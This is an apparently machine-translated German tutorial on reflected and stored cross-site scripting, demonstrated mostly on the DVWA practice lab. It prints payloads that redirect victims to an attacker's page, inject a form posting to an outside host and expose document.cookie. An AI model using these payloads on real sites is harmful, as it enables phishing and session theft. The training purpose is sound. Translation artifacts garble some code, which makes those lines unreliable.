Angriff auf Cross-Site Scripting oder XSS

Es gibt viele verschiedene Computerangriffe , denen wir ausgesetzt sind . In diesem Lernprogramm werden wir uns mit dem Cross-Site Scripting (XSS) -Computerangriff befassen. Bei diesem Angriff wird unerwünschter Code in Webanwendungen eingefügt. Hiermit kann ein Angreifer das Verhalten der Anwendung ändern, wodurch Daten beschädigt werden, Informationen verloren gehen, der Dienst verweigert wird ( DoS ) usw.

Ein Angreifer kann beispielsweise dazu führen, dass eine anfällige Webseite den Datenverkehr an Ihre weiterleitet, was sowohl für den Eigentümer der Seite als auch für die Benutzer schlimme Folgen hat.

Welche Konsequenzen könnte dies haben?

Abwechslungsreich und seriös, aber stellen Sie sich vor, dass Facebook eine solche Sicherheitsanfälligkeit aufweist. Der Angreifer nutzt diese aus, und durch Fälschung der Originalseite wird ein Klon dieser Seite erstellt, der Facebook emuliert. Benutzer geben ein und der Angreifer behält ihre Anmeldeinformationen und leitet sie dann einfach auf die offizielle Seite weiter, sodass der Benutzer es selten herausfindet.

Wo können wir überprüfen, ob eine Website anfällig ist?

Sie können dies auf viele Arten tun, aber am häufigsten in Foren oder an Orten, an denen Kommentare für den Fall eines dauerhaften Angriffs zulässig sind, oder in URLs für den Fall eines nicht dauerhaften Angriffs.

Warum diese Sicherheitsanfälligkeit?

A Die Seiten überprüfen die von Benutzern vorgenommenen Dateneingaben nicht korrekt, und auch die Ausgabe wird nicht codiert. Wenn Sie also eine Webseite haben, die den Benutzern immer verdächtig ist, ihre Daten zu validieren, bringen die Programmiersprachen bereits Funktionen mit, die es ermöglichen, zum Beispiel die Funktion strip_tag von PHP , die HTML-Tags zu eliminieren (sehen Sie sich jedoch die Warnungen an, die sie enthält).

Angriffsarten XSS
Nicht persistenter oder reflektierter Typ
Bei diesem Angriff erhält das Opfer eine manipulierte URL, die den einzufügenden Code als Parameter enthält.

Dauerhafter oder direkter Typ
Die vom Benutzer eingegebenen Daten werden auf dem Server gespeichert und wirken sich auf alle Benutzer aus, die eine Verbindung zum Web herstellen.

Schauen wir uns nun Beispiele an, wie der Angriff ausgeführt werden würde.

Hinweis
Ziel des Lernprogramms ist es, dass Sie die von Ihnen erstellten Webanwendungen oder die Personen, die Ihnen die Erlaubnis erteilen, testen können, ohne dass Sie “böswillige” Handlungen ausführen.

1. Beispiel XSS Nicht persistent

Wir möchten eine Person auf eine von uns kontrollierte Seite weiterleiten. Indem wir sie jedoch davon überzeugen, dass sie die Originalseite besucht, können wir ihnen eine E-Mail mit dem verkürzten Link (oder nicht) senden, der den folgenden Inhalt hat:

 http://www.paginadeseada.com/?search=<SCRIPT>document.location = 'http: //www.nuestrapagina.com' </ SCRIPT> 

An diesem Beispiel wird deutlich, wie einfach es ist, eine solche Sicherheitsanfälligkeit auszunutzen.

See also  Erstellen Sie tragbares USB Windows 10 mit WinToUSB

2. Persistent XSS-Beispiel

In einen Kommentar können wir einen HTML- oder JavaScript-Code einfügen, der auf dem Server gespeichert ist. Jedes Mal, wenn die Seite mit dem Kommentar auf unsere Website umgeleitet wird, können Sie für dieses Beispiel den folgenden HTML-Code einfügen:

 <META HTTP-EQUIV = "refresh" CONTENT = "1; url = http: //www.nuestrapagina.com "> 

Wir wenden uns einem anderen Beispiel zu, als wir es jetzt gesehen haben. Sehen wir uns nun Beispiele mit DVWA an , einer mit PHP und MySQL entwickelten Webanwendung. Diese Anwendung ist bereits in Metasploitable 2 enthalten , sodass Sie sie in einer virtuellen Maschine bereitstellen können.

Es wird uns ermöglichen, mehrere Web-Angriffe zu testen und den Sicherheitsgrad zu ändern (zum Beispiel verwenden wir den Bass). Wir können auch die PHP-Codes sehen, die angegriffen werden, so dass Sie sehen können, dass sie in Ihren Codes nicht verwendet werden.

3. Beispiele XSS spiegelte DVWA wider

In diesem Abschnitt werden wir einige Beispiele sehen, fangen wir an. Wenn wir einen normalen Namen eingeben , Testen Sie sich selbst , die Anwendung funktioniert gut. Sehen wir uns das Bild an: dvwa_1.jpg

Wenn wir den folgenden Code als Namen eingeben:

 <strong> Testen Sie <Strong> 

Wir sehen, dass der Name fett ist (vielleicht ist das Bild nicht sehr gut): dvwa_2.jpg

Und wenn wir eine Eingabe machen, wird es funktionieren? Um dies zu beweisen, fügen wir den folgenden Code ein:

 <input type = "text" name = "userIn" value = "Test"> 

Und wir sehen im folgenden Bild, dass es funktioniert hat: dvwa_3.jpg

Gehen wir weiter zum XSS Stored (gespeichert).

4. Beispiele für XSS Stored DVWA

Wir werden mehrere Proofs des Konzepts durchführen. Als Erstes fügen wir einen kurzen Text zusammen mit einem Skript als Kommentar ein. Um zu sehen, was passiert, ist das Skript das Einfachste, was es geben kann:

 Hallo <script> alert ("Test"); </ script> und auf Wiedersehen. 

dvwa_4.jpg

Wenn wir es wie auf dem vorherigen Foto vorstellen, klicken wir auf Gästebuch signieren, der Kommentar wird gesendet, es passiert nichts Seltsames, die Textzeichenfolge wird angezeigt, es gibt keine Anzeichen für das Skript, wie wir unten sehen können:

See also  Werksreset des Ubuntu oder Linux Mint Systems

dvwa_9.jpg

Also ist nichts passiert? Lassen Sie uns das überprüfen, die Seite aktualisieren und sehen, dass der Alarm ausgelöst wird:

dvwa_5.jpg

Sie können auch erkennen, dass der Kommentar nur Hallo enthält. Aus diesem Grund wurde das Skript zwischen den Text gestellt, sodass Sie sehen können, dass es ihn liest, in der Warnung angehalten wird und wenn Sie auf OK klicken, erhalten Sie den Rest des Texts und den Rest der Seite Es fehlte (ebenso wie die grünen Links unter dem Kommentarbereich).

Jetzt fügen wir ein Formular in den Kommentar ein. Sie können sehen, dass die Anzahl der Zeichen, die Sie eingeben können, auf 50 begrenzt ist, da wir den HTML-Code des Kommentartextbereichs überprüfen (Rechtsklick, Überprüfen):

dvwa_6.jpg

Wir sehen maxlength = “50” , wir werden am Ende eine weitere 0 hinzufügen und bei 500 bleiben, wie wir unten sehen:

dvwa_7.jpg

Und jetzt werden wir den folgenden HTML-Code kommentieren:

 <form action = "http://www.tupagina.es/tratar_formulario.php" method = "post"> Geben Sie Ihren Namen ein: <input type = "text" name = "name" value = "" /> <br/> <input type = "submit" value = "Send" /> </ form> 

Wir sehen, dass es es bereits akzeptiert, also geben wir Sign Guestbook und wir sehen Folgendes: dvwa_8.jpg

Das Formular wurde eingefügt, wie wir überprüft haben. Wenn Sie abschließend mit dem Durchschnittspegel in gespeichertem XSS üben möchten, versuchen Sie Folgendes:

1º. Ändern Sie die maximale Anzahl der Zeichen, die vom Feld Name akzeptiert werden, genau wie zuvor.

2nd. Fügen Sie den folgenden Namen hinzu:

 Test <script language = "javascript"> alert ("Test") </ script> 

3º. Schreiben Sie als Kommentar, was Sie wollen.

4. Senden Sie den Kommentar und aktualisieren Sie den Bildschirm. Sie werden sehen, dass er gespeichert ist.

See also  Django - Vorlagen

Wenn Sie das Cookie entfernen möchten, würde ich das Skript folgendermaßen ändern:

 <script language = "javascript"> alert (document.cookie) </ script> 

Sie werden folgendes sehen:

dvwa_10.jpg

Als nächstes verlasse ich den Link zu einem Framework namens XSSer , mit dem wir die XSS-Schwachstellen erkennen, ausnutzen und melden können.

Auf seiner Seite wird es so angezeigt, wie es installiert ist (in Kali Linux 2016 wird es mitgeliefert) und es werden Anwendungsbeispiele angezeigt.

Wir haben die Möglichkeiten gesehen, die ein Angreifer hat, wenn eine anfällige Webseite angezeigt wird. Das Vermeiden dieser Angriffe ist heutzutage in jeder Programmiersprache, die über Funktionen verfügt, die unser Leben erleichtern, nicht schwierig . Es ist wichtig, dass Sie diese Fehler überprüfen, bevor Sie eine Webseite starten, da dies Ihr Geschäft ruinieren kann.

Wenn Sie ein Tutorial sehen möchten, in dem diese Anwendung verwendet wird, aber andere Arten von Angriffen ausgeführt werden: Pentesting mit DVWA .

Zum Abschluss wird ein Link bereitgestellt, falls Sie eine andere Art von Angriff sehen möchten, die sich auch mit dem Injizieren von Code befasst: SQL-Injection .

administrator

Leave a Reply

Your email address will not be published. Required fields are marked *